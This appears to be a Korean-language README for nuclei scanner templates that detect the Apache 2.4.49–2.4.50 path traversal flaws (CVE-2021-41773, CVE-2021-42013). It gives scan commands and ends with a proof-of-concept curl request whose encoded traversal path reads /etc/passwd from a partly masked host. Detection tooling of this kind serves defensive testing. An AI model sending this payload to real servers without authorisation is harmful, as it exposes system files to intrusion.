
Apache HTTP Server의 경로 탐색 취약점(CVE-2021-41773, CVE-2021-42013)을 다양한 탐색 기법을 통해 /etc/passwd 노출 여부를 확인하여 탐지합니다.
Apache Version 2.4.49 and 2.4.50
(CVE-2021-41773) and (CVE-2021-42013)
nuclei가 필요합니다!
https://github.com/projectdiscovery/nuclei
로컬 nuclei 설치를 확인하고 템플릿을 검증하세요
nuclei -t apache-vulnerable-versions.yaml -vv
and
nuclei -t apache-path-traversal-rce-v2.yaml -vv
다음과 같은 출력이 나타나야 합니다:
[apache-vulnerable-versions] Vulnerable Apache Versions (2.4.49-2.4.50) (@psibot) [high]
and
[apache-path-traversal-passwd] Apache Path Traversal - /etc/passwd Exposure (@psibot) [critical]
대상 스캔:
nuclei --silent -t apache-vulnerable-versions.yaml -u https://*.*.*.*:port
파일 내 여러 대상 스캔:
nuclei --silent -t apache-vulnerable-versions.yaml -l hosts.txt
apache-vulnerable-versions.yaml - Apache 버전을 감지하고 취약할 경우 HIGH를 출력합니다.

apache-path-traversal-rce-v2.yaml - 익스플로잇을 실행하고 취약한 경로를 보여줍니다. 취약할 경우 CRITICAL을 출력합니다.

PoC :
curl -s -k https://135.*.120.*:8443/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
